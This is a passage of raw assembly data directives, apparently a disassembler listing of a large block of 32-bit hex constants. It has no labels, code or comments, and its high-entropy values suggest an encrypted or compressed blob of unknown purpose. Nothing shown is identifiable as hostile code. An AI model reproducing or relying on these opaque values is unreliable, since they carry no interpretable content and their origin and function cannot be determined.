		dd 34213DA4h, 8CCE81C1h, 8098B29Ah, 685E7083h, 0BDE2F49Ah
		dd 3461EDA8h, 0A4DCD7B5h, 0F6F45A94h, 24ACE20Ch, 0A6474184h
		dd 3E84EB81h, 112919DFh, 9BC0E668h, 0DE433930h,	0E0A174Bh
		dd 64D1D05Fh, 0C6A067AEh, 0C97651C0h, 14B3FB57h, 0D075E584h
		dd 0D164C8D5h, 9FBE8D18h, 212C7000h, 529C6EB5h,	0E9D433A5h
		dd 7D49F670h, 1E297691h, 1A67AF63h, 6A5EFA86h, 0AC1491E2h
		dd 4FA86060h, 0C641A187h, 7D33F764h, 0EB7C547Ch, 0BB5B7278h
		dd 80D6AFBBh, 1EEA89AEh, 0C08BDB9Ch, 6DC17FACh,	54A92F54h
		dd 0CBA6B854h, 0EA1DBC9Ch, 0C2956D3Bh, 6B1E785Fh, 34F348BAh
		dd 0B5912F66h, 59AE1ECEh, 359DBBAEh, 8D900968h,	0DC819B5Ch
		dd 79180C51h, 2945B22Dh, 0B745027Dh, 2031CF92h,	34B83E50h
		dd 327C6EF0h, 14F164EEh, 4963D2EAh, 69433D6Dh, 0B7EF4FDDh
		dd 0D4F97E3Fh, 0CEFA335h, 55610447h, 0EBE253ACh, 8C3551BDh
		dd 172A555Fh, 0BB1BECF2h, 0B8E6216Dh, 9471D966h, 0C98510BAh
		dd 0B83C8C4Ch, 76D2759Dh, 7C60C964h, 2F0DCA27h,	189631BCh
		dd 698CB78h, 353C0E32h,	7FC8BC7Fh, 25FC1756h, 9605BA8h
		dd 0E7030E3Ah, 983D5299h, 7D486A05h, 2F99E961h,	33B698ECh
		dd 94296F55h, 492790F6h, 3207BD4Bh, 0EDF39A09h,	4887BAEBh
		dd 9E82C341h, 475FF410h, 1818E9DDh, 9459D66h, 0D011B4A4h
		dd 0D1277AC6h, 5E033A6h, 0B2D6276h, 0C4CABAABh,	9D17CC64h
		dd 8E3B7297h, 11A0BF61h, 317A911Dh, 4CF41E95h, 0A69AF7CBh
		dd 409B218Bh, 4B72789Ch, 4937243Fh, 0D66D4E22h,	0CBDB715Bh
		dd 6D6F4008h, 97190DD9h, 0D6553CBAh, 0EA0F685Eh, 5DD34B67h
		dd 0A45859CDh, 0D6D4E3D1h, 9435E1h, 0F004AFB7h,	4D0AF3Ah
		dd 8F58F76h, 0F6079F50h, 42528E5Fh, 2F6E0497h, 0CED86B6Ah
		dd 0C9CACDAAh, 0F3FC1509h, 0D9766153h, 9EC4B499h, 0CA2F1EB0h
		dd 0E28B30C4h, 6657660Ah, 0A0D0FECDh, 2EA788Ch,	8E8F4C00h
		dd 6F1F67AAh, 0C07C97EFh, 25D785C4h, 0C301489h,	343C5F6Bh
		dd 650D594Bh, 0E6D36B77h, 94D829CBh, 95E7EDEDh,	0AC253091h
		dd 140B8E24h, 0A748EFB7h, 0FE476418h, 41E6FBA4h, 8187F1F8h
		dd 0BFF7BDEEh, 479DB192h, 6942DC02h, 594CC4FBh,	941B84DEh
		dd 88F5EF88h, 97C7F776h, 19A839D1h, 0ADE6ADACh,	7479FAB7h
		dd 91D890F2h, 9DBE0D25h, 48A75023h, 0EAB0AD74h,	4B4A23CAh
		dd 7D83897h, 433E933Ch,	5C4AC4Dh, 0C5BF8DC9h, 19F4AC97h
		dd 99655225h, 0EB840D3Dh, 2CDD38A6h, 0A680C28h,	0DCB19F97h
		dd 0CA53F7C2h, 8AF95D3Fh, 8DC007EEh, 3802EB9Eh,	0AF0DB091h
		dd 2DDB8579h, 1215D910h
		dd 8017F33Dh, 62232CB5h, 585B8A6Eh, 0A8457211h,	0A16D2A35h
		dd 0A746CB5Eh, 929AB6A2h, 21DA2FE2h, 1400B878h,	0DE6EB4DAh
		dd 1CF8F08h, 87E00ED6h,	0B43C12ACh, 0EBC5F701h,	7034ED40h
		dd 3693AFF3h, 0D4BF4D9Bh, 5440B483h, 0D9AD8DE4h, 6B3F2255h
		dd 0AA324875h, 0D19D3A6Fh, 0ECF66A41h, 0CA675ADh, 0C6DDA86Bh
		dd 418335B7h, 3C47FFD5h, 9D3C3CA0h, 551A00D8h, 7D2BD4A1h
		dd 0D7425886h, 0FC271695h, 0D21311CEh, 6E8EA5DEh, 0F7A7CBA5h
		dd 0C040744Bh, 0DD810977h, 0C66D37FCh, 0B43D04C3h, 0D3E1291h
		dd 112A27F5h, 35E6B87h,	665F9C6Bh, 96BDEBCFh, 0F98E8EE9h
		dd 24D084FDh, 87610762h, 87532D96h, 0C2F01F4Dh,	1052863Bh
		dd 3B568D76h, 6ACE8494h, 17488F7Ah, 5CB6C0B7h, 9DA773E9h
		dd 83142583h, 0C7C06E64h, 0F137AF38h, 425CDC22h, 0F41A75C4h
		dd 8D86AEBDh, 0E0D2B125h, 55A19282h, 0F383C06Fh, 9113623Dh
		dd 0E8ECD94Fh, 48A77A42h, 3C1AC631h, 2C9E85ECh,	7F140CD8h
		dd 99D38334h, 352E5C16h, 4A632534h, 0D52EA43Bh,	75D165A3h
		dd 0D1EB64C5h, 7CAAB5E9h, 0F40AB0CBh, 89730D82h, 9C1EB6DFh
		dd 0FDAEF3D9h, 7C35E860h, 459CAF11h, 49DED223h,	0AD5C928Fh
		dd 4BC5D8A1h, 90F91B8Fh, 0AC849251h, 6AD66A31h,	17270499h
		dd 4B6DBE86h, 143F0A54h, 0DD1DD6F8h, 2F1AC635h,	871917A3h
		dd 4B15C9E7h, 9BC625FBh, 3E10FDD3h, 0A8A21C09h,	0AF462606h
		dd 36C7CA62h, 0ECD8215Bh, 0EEF4B3E9h, 14881BF9h, 0E7661D66h
		dd 893E5D5Fh, 91D68CC8h, 0C949DC20h, 0DB566A09h, 10D47576h
		dd 215C7EC0h, 4D868FEFh, 9B6A18B0h, 4D39022Eh, 3BECE2CBh
		dd 0E8DD8FECh, 0A54EA094h, 0EC69B647h, 87426DE5h, 59B3F019h
		dd 0E15A478Eh, 6BA9DFAEh, 0F8B37A7Ah, 14A81387h, 2095DA55h
		dd 83D0D29Ch, 5939F077h, 0B2B4BF76h, 2849AA39h,	11889012h
		dd 26295DEBh, 46FBDD05h, 422552CEh, 2F7B751Ch, 5A811D52h
		dd 660BD136h, 9A89FE04h, 0F5DD3C7Ah, 3F03FFFDh,	1BC42198h
		dd 0F1A9F3B5h, 0DA280600h, 638D1BA0h, 0E782A3CBh, 4EBE110Eh
		dd 0AADB92EBh, 0AD4C52CEh, 0CBF3070Eh, 0BA0DD535h, 0F4500726h
		dd 9C2684ABh, 4A120247h, 0FCBCAEE6h, 0FFE2E954h, 0E9F90445h
		dd 7AC50CBBh, 0F0DBD015h, 0DF9B9EBFh, 0AE75E130h, 0CCB7A446h
		dd 60A4F31Ah, 0BC299624h, 0B505F002h, 0B3B75898h, 0EC9CFD4Fh
		dd 44CC121Bh, 71730FD6h, 69A19623h, 0FB68AB0Ch,	117E67C1h
		dd 733E29A0h, 0CEFB2648h, 20C70CCh, 6661A3EDh, 0C1796B80h
		dd 0B1E2151Ah, 19025A78h, 6C01B9A7h, 0ED174025h, 0E8D892D7h
		dd 0DFB9B0A7h, 0E5887AF7h, 33F2051Ah, 38710C2Fh, 4966317Ch
		dd 457C97C4h, 2BD5F93Bh, 0F095068h, 84750BFAh, 0FBD11DF3h
		dd 0BF8329B9h, 45BB2A50h, 3FF74B93h, 0A343BF70h, 0A4F66D38h
		dd 0D5273980h, 3C075370h, 6B0C82CAh, 929906D8h,	0E7B3977Dh
		dd 0B512833h, 1AC74FD0h, 11035F5Eh, 990EAC3Dh, 0FC7FEC31h
		dd 228F1ED2h, 2F8B3422h, 58D8323Bh, 5852E98Dh, 44D90D36h
		dd 9DDA6B36h, 2BBD4FEEh, 4DBC908Bh, 0F6CEA159h,	8DC4100Fh
		dd 479651BEh, 2C016F93h, 599F9991h, 0E34BF2D9h,	0A0E1AD98h
		dd 1A504A84h, 0A32958A0h, 0D0A5563Ah, 70DCF3D1h, 0DE86DCA8h
		dd 8BDA5B3Ch, 4028D32h,	0C12BBF48h, 794248B2h, 377F4E35h
		dd 0A6DB5CF4h, 0F69331Ch, 33EECA5h, 0CC3B5EEEh,	5D866293h
		dd 0E7DC5FAAh, 5760CAA9h, 56EC95E1h, 6F9D605Ah,	0A632286Ch
		dd 4DBF4BA2h, 27FA798Dh, 2D4347D0h, 2FC4C62Ah, 756CC8F9h
		dd 3D810CC1h, 5E10DDC9h, 744BDAA5h, 0A804A41Dh,	1BEA8AEh
		dd 0ABB3A66Bh, 4FF5EB17h, 2D31186Bh, 872F4A04h,	0CB70FFB7h
		dd 12578364h, 0AABB265Ch, 1DFF58B4h, 5280541h, 20AD46FCh
		dd 0CD107CE6h, 0D4210B7Fh, 735A6F66h, 2AB98C12h, 9A0A4649h
		dd 8742392Ch, 0F0315DF3h, 3B9B61E8h, 0E1CE452Ch, 2962FD74h
		dd 0CD680220h, 0A74E4784h, 40DF35F5h, 3C11E653h, 0DABAAB99h
		dd 790D0253h, 455687E7h, 29500F12h, 0E61AF51Fh,	0D4EE8BFh
		dd 0CC86AEC4h, 29CC4ABCh, 9F12E34Dh, 0BD03DB71h, 219C2006h
		dd 3CC01720h, 6CD0832Ch, 8DEB4FABh, 12843FDCh, 5E946573h
		dd 9FF13AAh, 5EEB1228h,	404650AEh, 65BDA055h, 0F495AD1Eh
		dd 6FCACEF7h, 86C0AB8Fh, 1304877Ch, 0DAB7DA5Ch,	0BFB7ED13h
		dd 14F2253Bh, 0C782525h, 0C20DD634h, 5408BC91h,	579E2D2h
		dd 57C3FEBEh, 1E5D2293h, 830A4D66h, 33780BB4h, 20AF6271h
		dd 893ADC03h, 0B9D7B467h, 87A96A0h, 0D2A5BA8Eh,	187F74FAh
		dd 9239F043h, 0C30AAE48h, 86D38655h, 0CAA7B87h,	0ECE87DBCh
		dd 7153F875h, 121E7550h, 887B16FFh, 7599567Ah, 8238B028h
		dd 695F0DC2h, 0EB5A8312h, 77089371h, 44DFDF2Ah,	70BDEE91h
		dd 2C362422h, 0FBE15257h, 5FE785E1h, 5443174Ah,	4680A731h
		dd 2BCCFD5Ch, 2359D636h, 1227E480h, 0A61BCC28h,	0D55D46EFh
		dd 0C586BA50h, 6435C5A0h, 7BAD7862h, 34B6C367h,	6C1564F6h
		dd 74924B20h, 0BF56DBD6h, 0D484A49Fh, 5B964B79h, 0D4BDA123h
		dd 67E55261h, 0BB719268h, 0B8163C24h, 74FB2146h, 4CBCE153h
		dd 711D6633h, 758DB8D0h, 0E3F41C24h, 0A21B2A76h, 260E99A6h
		dd 0C30815DAh, 0E4E2EA47h, 90C2C104h, 889477A9h, 75977661h
		dd 24CDCEBCh, 0FBE4DC33h, 90968EFBh, 32B2A040h,	452CC0C5h
		dd 9D239CE7h, 7D1AD340h, 0F6349BF7h, 9A593434h,	1D369298h
		dd 0F6628691h, 0E191B9FAh, 332E26C1h, 3D6007DDh, 86E26A26h
		dd 0A0AE52C5h, 0DFBEDF35h, 17E08C6Eh, 0B11360F6h, 7491F67Ch
		dd 0B31FD6AFh, 0D47CEAC1h, 237D5CC1h, 0B0C33E74h, 2D75BFF6h
		dd 10F0E3FFh, 197DB3C4h, 0ACC1977Dh, 619EE430h,	0F3395BD2h
		dd 6C8E1E40h, 0FA3EC0B4h, 0B0418A0Eh, 0B4C1C496h, 243304Fh
		dd 0A2A2321Dh, 0B5D880F9h, 0BE01E162h, 9189751Ch, 618158CEh
		dd 0BE708DDAh, 0B3B61E16h, 105546EAh, 0D8347050h, 44314522h
		dd 80BB35E4h, 2DBB7503h, 303EF996h, 4967F653h, 33D41668h
		dd 17632A8Ah, 920A4C1Ah, 5708B24Eh, 513A8BD5h, 7C3D659Ah
		dd 0F3F88555h, 0FAAD9AC3h, 0C089CAE0h, 47C0310Ch, 7BAE1C19h
		dd 2745A4F2h, 58910B4h,	0FB90939Ch, 85DC15C9h, 3EA86155h
		dd 0D7D50B99h, 47ED4D70h, 6D63B049h, 778D916Bh,	0BD121D2Dh
		dd 583CC872h, 0B8E9EACh, 0D2214A1Fh, 0BEF59FEBh, 6C87637Fh
		dd 0B45BD446h, 25A0F649h, 92103592h, 60F5E273h,	0CC3AA577h
		dd 0FD0F7178h, 226C54E6h, 79248860h, 0F354751Eh, 57316D16h
		dd 5E57559Dh, 0E60FC678h, 8F1645F4h, 7CD3F1Fh, 0C4BD28E0h
		dd 0FA8ED210h, 499979D8h, 5D87AE8Fh, 0B56EE7F9h, 0F995C414h
		dd 0F6B8094Eh, 0A55DD946h, 940AC1A6h, 4A169D77h, 325E991Ah
		dd 4F24DB25h, 131151EEh, 9881773Dh, 0F032FC95h,	84264E14h
		dd 0AC6168B8h, 1DFEDE9Fh, 6C00E49h, 93892BF3h, 320A119Dh
		dd 0D40260C6h, 9270A8D2h, 6ABAFC37h, 2C6A5C4Eh,	1B3A5C61h
		dd 0D8698B4Bh, 31CB5984h, 84B26157h, 8ED16BBh, 0BF4F1025h
		dd 836B14A6h, 36C67BCh,	0B82E7A73h, 6E789011h, 2F3C4B6Ch
		dd 7D7713Fh, 4909FC19h,	0DEEFAD52h, 2118E2CAh, 80CA4AB4h
		dd 0ECCB8BD7h, 0CDF1007h, 0E1154D3Ch, 7694B994h, 0F37982A2h
		dd 472D80B0h, 0B17BE5A2h, 5AF9902Ah, 0B4AEFA83h, 197C8040h
		dd 9C0BF8F0h, 27DA0DB0h, 0EAE591BBh, 15790EEEh,	636F7D4Ah
		dd 0A8C21B63h, 324538ACh
		dd 51EAF110h, 0D78DDAA5h, 0C4CEF3CAh, 0EC54A675h, 42F5EAD3h
		dd 1DCAF5CBh, 5AB379BBh, 0D50C1399h, 5516E872h,	83464BBDh
		dd 2B528C3Dh, 1AA3A7F2h, 2F116DC4h, 0C0DE8E5Bh,	0E8957D30h
		dd 0FDD4F139h, 0F33C6D3Ah, 4E8E00C6h, 0F52FE25Ah, 0F38049F9h
		dd 6D58EFE2h, 9AC6344Ch, 43E252FCh, 0C24917C1h,	4809EF3Ch
		dd 872F2720h, 0FDC44B08h, 0D45618A4h, 0FEAF4933h, 406B01E5h
		dd 8BA3C433h, 0F119C1F4h, 20F13193h, 312B8AE5h,	68DFA182h
		dd 0E32DE594h, 9069019Ch, 6F98EE97h, 9D32D820h,	0A35EE370h
		dd 0B6C6228h, 41A31BE7h, 0CA922728h, 7D24A0ABh,	0B7F68D19h
		dd 6AC9605h, 0FAD6B7FBh, 0B174D8A6h, 0A11D1BDFh, 0AF7E17CFh
		dd 0FBDA1B9Ah, 0C419AAD8h, 839D63BCh, 83BBF79Ch, 282E3D00h
		dd 8949B6Ch, 984EF504h,	0D928F0E2h, 27EE86CEh, 1D8C3AB2h
		dd 9EAFBD60h, 0ED181A3Fh, 36FA7A91h, 686146E5h,	0A46A9077h
		dd 49943D3Dh, 96F9B3DAh, 8DBB017Ch, 9E75DA51h, 64EAD105h
		dd 5EEC58F1h, 0A0C3F5E6h, 0AEB849DCh, 7B8E4D67h, 0E41E06FEh
		dd 9276A70Dh, 0B989AC4Eh, 8DB1A2h, 7AB10C99h, 3AE2E9D6h
		dd 8DDA4BE4h, 0A33AF3BAh, 4F844518h, 0CB4A0260h, 27DCD11Ch
		dd 6580CFA1h, 9E06807Eh, 0C80446BAh, 0B79FAA64h, 456C40FFh
		dd 0A974E456h, 8FD034E3h, 5107FF7Bh, 6DD039ECh,	359D44BFh
		dd 6B6EDD8Eh, 97543CB6h, 9C29FB8Dh, 822AB9C6h, 6B431861h
		dd 0AF6AEBEDh, 0BA56F80Dh, 4EF30F9Eh, 0CFA26B61h, 10F698D9h
		dd 665A7Dh, 0E2B1E07Ah,	0BD3B1F3Bh, 5B280AD4h, 6A53B160h
		dd 8D9342BCh, 580E5E19h, 7B1DB7CAh, 7FBC9886h, 9849BC10h
		dd 0E077EEE3h, 34DFA87Ah, 4575C9BBh, 0F31F7307h, 89582BCDh
		dd 62CFC38Bh, 0A582B268h, 0FAE25E76h, 0EB71BC0h, 0BE67FA2Dh
		dd 0C7AD28D6h, 6DD6766Eh, 3A289F02h, 7688A4DCh,	0A3D04C99h
		dd 2AD78040h, 6BDBCB5Dh, 1D2CCF1Bh, 4315457Bh, 0A12791Bh
		dd 0A7FFA636h, 0C910193Eh, 0DEEC464Fh, 3F7DB6A2h, 7F9545CBh
		dd 5007E99Eh, 1A178233h, 0EC4B1F41h, 0BB4B4617h, 65DB649h
		dd 7F650643h, 17EDC4DEh, 8BC350FBh, 36A1CC38h, 0C04F6F62h
		dd 0FC9DD0CEh, 1F465A4Bh, 291816E2h, 2F1B1B9Fh,	54A4C064h
		dd 6AB3769Eh, 2A6D65C8h, 6CFE9A37h, 6EEEE538h, 9AEBCD21h
		dd 7FF9DDEFh, 83C94472h, 0FBCC3099h, 7A2DEA76h,	7FAE6375h
		dd 0D71CB103h, 0C8613B31h, 69B5BAF3h, 237FE318h, 97D5E734h
		dd 52B6F8F7h, 825DC10Ah, 0D89A9053h, 0AFEA769Ch, 8AE771ECh
		dd 5496FEF5h, 5D5B0936h, 62D29037h, 10632DD1h, 4C46AB2Eh
		dd 0EB2A90F5h, 96CE4433h, 0E6EDFEEh, 0E3A223BDh, 0BFF5DC37h
		dd 2B2F248Fh, 0D3CB8F7h, 262B83BEh, 81BDC6A9h, 5244C71Ch
		dd 0B22ED808h, 4A41C5B4h, 0E0DDA700h, 0D26D3FD2h, 9E07A379h
		dd 387EC1h, 3A4222FCh, 0BD18D43h, 0EF627894h, 116F092h
		dd 2B35789h, 4F91B4C6h,	76CF2636h, 48D8A144h, 96E0E512h
		dd 62FBA9FEh, 953EA93Ch, 4813D665h, 1FA62C94h, 4C11A123h
		dd 4644EC8h, 0B3281A7Dh, 0A21860F0h, 0A737C3D8h, 0EBFF9CA7h
		dd 0FF74CF1h, 8AB03FAh,	0A178077Ch, 620B1008h, 0B0F90738h
		dd 0CE65625Fh, 4BD57E85h, 0C360029Bh, 9C90EC79h, 0D51B4F51h
		dd 394B8943h, 62E1408Dh, 1C4C7A32h, 3B41461Fh, 6EA37CB5h
		dd 113928EFh, 134E14C5h, 15347807h, 0CDC7E6A6h,	4B36B7Ch
		dd 0D9E449F7h, 487E63DBh, 7184315h, 0C190C00Fh,	0B2E10E44h
		dd 327AA7E0h, 32C0977Dh, 0C83D6F6Eh, 0BEFD677Fh, 9C7BBD10h
		dd 748260AEh, 9FF7F6ADh, 6A8FF387h, 0B5F122FFh,	0FFE8380Dh
		dd 626AE657h, 5E27735Eh, 2C8BD3Dh, 0AFD900E1h, 28DBC62Fh
		dd 52C27071h, 569B10B9h, 0FE09606Bh, 7B96BECEh,	54EFE4F2h
		dd 6C7207AAh, 1E2E504Dh, 913480A7h, 0B21F01ACh,	8FB1279Ch
		dd 0AE3AEDCEh, 93ADF084h, 20F1F5ADh, 652C9F2Ah,	97F81D82h
		dd 655A5391h, 0EF82FEEFh, 0AB28BA95h, 4CBA16DEh, 97573D33h
		dd 6802EFF5h, 32AC324Fh, 5BA3F89Bh, 92F8F5C7h, 31C41415h
		dd 7DDD96A4h, 0B98034A5h, 0FD744AD8h, 0CA452AEDh, 3B862796h
		dd 0A7E91F2Ah, 0EE33BC79h, 610E4766h, 7519933h,	19AE2304h
		dd 39CFBD6h, 0AE121F7Eh, 626706B0h, 0DBB2BE7Ah,	15E2DC86h
		dd 9AC1FAFBh, 0A1DEB4Fh, 18214E70h, 2D642EA0h, 466D7C3Bh
		dd 2E65D6Bh, 0DFC0709Bh, 8F76183Dh, 2A191155h, 0B742D11h
		dd 0D48FCB8Eh, 96273312h, 4237F3AFh, 0EA6459D4h, 42248645h
		dd 54C29D2h, 6DD668E7h,	0D48B131Fh, 0CECD08BAh,	1844B7DFh
		dd 0F52B5CB4h, 0F15A548Ch, 0FEA9C309h, 238946F6h, 7F5EF8E9h
		dd 0A76A0566h, 0B923F628h, 91D87894h, 784A0C4Bh, 0B345CE45h
		dd 0F213AC7h, 0CF584151h, 1AE3477Fh, 146158D7h,	0ED27412Eh
		dd 86FDE1C0h, 0EC9D3E5Fh, 440C3AC1h, 440709C6h,	0A03E5567h
		dd 0DE59EBBDh, 0F58A7009h, 8182DE1Eh, 0DCCBDB9Ah, 55A690A6h
		dd 8AE51254h, 0CB9BD337h, 836067EEh, 0F06F1724h, 576E036Dh
		dd 2A286CB7h, 25855977h, 2D86D283h, 4D5ACEC4h, 0BB424567h
		dd 6C134489h, 8F60BEABh, 0D05BF311h, 7D7E68Dh, 5956AD2Ah
		dd 0A98A11Bh, 43A09655h, 0E0B3747Ch, 2BA3E458h,	22DFB187h
		dd 0CA42934Fh, 78836ADh, 7E4F21BDh, 0D8ADFFD1h,	643E5BEAh
		dd 67A186F3h, 26FEFCEDh, 0A526FC7Dh, 31E7F6F7h,	0A27D3699h
		dd 0A7B7DEAAh, 0EC20DDB8h, 0ADF254C2h, 218142A4h, 90B1818Eh
		dd 0A72579B0h, 0BB70D381h, 40D27860h, 41C12160h, 19F82B40h
		dd 506474E0h, 0AB6D7DD1h, 55D8D2D7h, 0CEBE74B2h, 4AA09D14h
		dd 0FCAFD469h, 2980EDB9h, 0CB5343BEh, 3B04C6E9h, 0EEC340EEh
		dd 0ED59EF33h, 0D66DEA48h, 530ECECCh, 90319498h, 0DC3B1CBh
		dd 0FA844DF6h, 6F5BA740h, 89749920h, 10EBEBAAh,	0AA9893ECh
		dd 8700C7E9h, 0B9888128h, 92714EEBh, 0DBF3821Fh, 1FD1FC25h
		dd 0A9BD3B6h, 2A7C3235h, 0A803D3E0h, 4194277Ch,	11D2FD61h
		dd 34A0C94h, 0C952C87Ch, 28B647h, 53810346h, 0E3F03DCDh
		dd 1BCB7D92h, 79E3E619h, 419594A9h, 719B249Fh, 21BC151Eh
		dd 4A9BB234h, 2C856CDAh, 23098D20h, 239F0D2Fh, 90F88988h
		dd 8EA6F6E7h, 4892FEC4h, 0C7C9E4DEh, 8EA92E20h,	4667A9E1h
		dd 9F6FB0C1h, 3DD94FE6h, 22CB06FCh, 908A3239h, 46175246h
		dd 708DBC70h, 980D1164h, 0AD1538C7h, 7C898D0Bh,	8EEC6AECh
		dd 0F3EC21C5h, 40320446h, 8683F9BBh, 1664E163h,	0CC3CB76Bh
		dd 0C75254E6h, 5D3DF7F4h, 0A20C5378h, 8EB0C626h, 428F8B42h
		dd 0A5DEB4FAh, 763719FFh, 0F4FDB182h, 0F846458h, 0BCBCF27Ch
		dd 6E974ED6h, 0A69BE396h, 3DA2BDDh, 6343B4A9h, 5DE4F79Eh
		dd 1301F7E8h, 69D0D9FFh, 4696B103h, 0C7786B2Eh,	0BEC82895h
		dd 240FD992h, 0B02148E1h, 0FFFEE77Ch, 64360A33h, 89C3221Bh
		dd 14942BB2h, 0B63F17E4h, 0FE7100EDh, 11DE19C2h, 7BC116E2h
		dd 0C9311B00h, 93FA7167h, 7CE5406Ah, 77B08910h,	0ED8BF19Ah
		dd 42C67A8Ch, 0CF057C10h, 0E8835C98h, 790C0C79h, 1A7AF913h
		dd 0EC381BE2h, 366FAD8h, 3791E8DBh, 505A0AD5h, 0AE4A4DD4h
		dd 0F6E34810h, 3E35F98Ch, 2C73D5E6h, 2F098546h,	0F6FBEC0Fh
		dd 0C3661769h, 114B22BDh, 7BA33F41h, 5C7F316Ch,	721FEEA5h
		dd 1D6853D7h, 0FE67C5ADh, 4069FE2Ah, 0FEA11B85h, 553080D0h
		dd 797ABDE6h, 7BBE833Bh, 0FD5B04E0h, 0F65F55D6h, 98EEE3C7h
		dd 2D46876Eh, 8588B7F7h
		dd 0B08DE56Eh, 0E1124D00h, 0DC2922BAh, 0FFF2982Eh, 0E939A4D1h
		dd 6A7CC8CAh, 1729E7h, 9CB5A08Eh, 7EB568D5h, 180DC9D9h
		dd 0F512E584h, 63857FBDh, 0FEBA5000h, 892C9F6Eh, 0B176AA8Bh
		dd 10A8B1DFh, 0C8BF8A4Fh, 70058D26h, 6D26A9F9h,	23D0758Ah
		dd 101C76B1h, 28BFCC7Fh, 0A3F1B774h, 0ADCFCA4Fh, 0D8F3EFC1h
		dd 4D75F4CFh, 8AFDD9E7h, 3205AE0Ch, 779C134Ch, 0A3B46A6h
		dd 8DED0027h, 0E4BCD6B9h, 433AD1F2h, 203E4A8Bh,	6663B280h
		dd 8C1BE4A6h, 689CEE6Fh, 24236E51h, 0F4646513h,	467ECEFFh
		dd 0B1614D2Fh, 4C052C2Fh, 72333BADh, 0B7DC88h, 0A8381B6Dh
		dd 3C1EA463h, 0F9BC2733h, 0DCF0145Ah, 4B5BB81Ah, 0B914DB04h
		dd 0FE827E51h, 816C10A6h, 0F5114CC2h, 47674CFCh, 0B4B894F3h
		dd 0B2394173h, 0C27E5269h, 9183C6ACh, 2ECD43D4h, 0A189D29Ah
		dd 3EB389E9h, 98DEB9F4h, 0BDF5CB5Eh, 59D697F7h,	4F9B6C52h
		dd 48A34ECEh, 0E52A5320h, 5500C7B6h, 21158342h,	0CB730EC9h
		dd 2926B72Ah, 582F5EBEh, 72CC4B1Ah, 39C362E9h, 95490E2Ch
		dd 0E28968ACh, 8A5BA73h, 304F2B18h, 1C2C37B8h, 68CE3C93h
		dd 0E38E5674h, 0E9DDF32Ah, 427CE5F5h, 0B5460FC7h, 34978C3Eh
		dd 16BD8F12h, 4081F62Bh, 8BF40674h, 0C5CD7788h,	0FA5C564h
		dd 0BB712E4Dh, 26511BE3h, 2B68EC6Eh, 259822A9h,	81220271h
		dd 88DE5792h, 9D8C152Dh, 0F18B535h, 1D82B24Ch, 65C76241h
		dd 0D3F9FD84h, 0B75EC117h, 2EA1E2FEh, 46EC392Fh, 805A9F38h
		dd 741CE45Ah, 79600A93h, 951099D9h, 2DB35BCEh, 7B3B3ADDh
		dd 0A91E7E1Ch, 7D4E91B4h, 814DD587h, 1349DBDFh,	0DA56547Bh
		dd 0A0899546h, 0F5F005E1h, 3CF84AF9h, 0EFC6F9F6h, 72F2052Bh
		dd 0A116F1E1h, 0DB76B38Eh, 7B5F1C2h, 7AA12E20h,	0E8B8D0E0h
		dd 0C7E15EC6h, 81DEC811h, 853928B2h, 14FF18D1h,	73CF1BE3h
		dd 23B057B3h, 0C5C7D393h, 0BB8775E9h, 0C209789Ah, 4F0DE809h
		dd 5EDA32BDh, 0FF59C48Eh, 665EF4E0h, 8859AF1Bh,	407EA42Eh
		dd 5B66DDECh, 716C0D12h, 2AB0C3ACh, 0A2D08596h,	0CCCC0E24h
		dd 0FC94946Fh, 7201C728h, 0C4A51416h, 30A7BDAAh, 9BA4D77h
		dd 2CBB6000h, 87267B13h, 15DE56A5h, 0BE2C75CCh,	0FE25A0B1h
		dd 6B3495F2h, 890A42C0h, 0C977833Ch, 8F763271h,	0DAF2C85Dh
		dd 0CA17CF83h, 624697E5h, 3DF62D50h, 0DF0FDEB0h, 0A4EE2ABBh
		dd 8ADEB5C4h, 1FA9024Bh, 0A9C11149h, 93006E98h,	558D19B5h
		dd 0CE3DE53Bh, 95CC6544h, 2075B220h, 40DE1D47h,	38D13670h
		dd 5E268F0Dh, 38058091h, 0A6199602h, 0DF01F844h, 4FC0DE9Bh
		dd 94AA04B4h, 9C8A3B79h, 612791FCh, 1FAE29E9h, 0C2D42189h
		dd 204DBEAEh, 0BE87D08Dh, 90DF4729h, 0F12B3386h, 0EC5052B9h
		dd 0E24BD77Fh, 2C679D7h, 5F0FC241h, 64F7E138h, 0EE89E6C0h
		dd 0D1F2BAE0h, 0C9B6BB9Fh, 3B40D144h, 62D4EFAEh, 2F00A431h
		dd 0F5A1767Eh, 0C3B30C0Fh, 62A4BC50h, 0E8A41F29h, 494FF292h
		dd 8ADAB189h, 0D7A13F5Dh, 43CD2B9Bh, 6E3BE602h,	55F34F03h
		dd 24A07792h, 1B83A622h, 2134EE17h, 9E674457h, 0CA7F2675h
		dd 7CE20B9h, 6CA5D960h,	365E62F4h, 0F07E585Bh, 5E686779h
		dd 2E25B638h, 37321BE1h, 5FD7028Bh, 2F9BEE86h, 0B6E1F2FFh
		dd 1B78DC5Ah, 5E48668Ah, 5AEF79C2h, 0DE666ACEh,	2F2A0BD4h
		dd 82BFAD23h, 0FD108B2Bh, 0DAC469F3h, 0D20A596Dh, 483ED696h
		dd 3833078Fh, 8574FE94h, 31A2F552h, 0E4B481B8h,	817775DEh
		dd 98AA19BAh, 171C399Fh, 5567969Dh, 6C4034E5h, 2FE85A05h
		dd 0E297CD6Bh, 640AA813h, 88A38155h, 8FA79E8Ah,	0F2EF9114h
		dd 5F85EAF2h, 92F9207Dh, 528140B4h, 0E66F1F40h,	0DE441A2Fh
		dd 8C6CF41Bh, 3CBA9811h, 0AF9CBBF8h, 2206A477h,	93530ABAh
		dd 38A9C941h, 8F606CAFh, 9DAD7BABh, 0FD3192Bh, 0F8DEF407h
		dd 0C039A9EBh, 93090133h, 4E18BABh, 77C64340h, 0E45CFD88h
		dd 13553F1Fh, 42001F01h, 0A897EC79h, 0F762CA3Dh, 0ECF5CB59h
		dd 0C1615FCFh, 0C54A069Bh, 6B533319h, 0AE66ACFCh, 0B7019AFEh
		dd 12F192B8h, 0C7730B56h, 0BFC5C742h, 0A785CD61h, 0DF9F325Fh
		dd 3A220BD4h, 67AA886Bh, 6B5F68F4h, 5C35528Ah, 0A8FC487Ch
		dd 0D91BF32h, 95F4B38Bh, 7EFA3D3Bh, 0D8D7BF43h,	0BCF877Eh
		dd 81068A8Ah, 83B37063h, 2AFAC71Ch, 0F0BBDC8Eh,	36535265h
		dd 90CF7FB6h, 7CAB5C78h, 12FAE0E3h, 0D2DF82CBh,	5C33ABB3h
		dd 171860AAh, 796E3EC9h, 1B4B2FDBh, 0BCA7126Eh,	4E04680Ch
		dd 8B2607CAh, 7877C0CBh, 38AF9E39h, 5E8B98FBh, 0C1ED876Eh
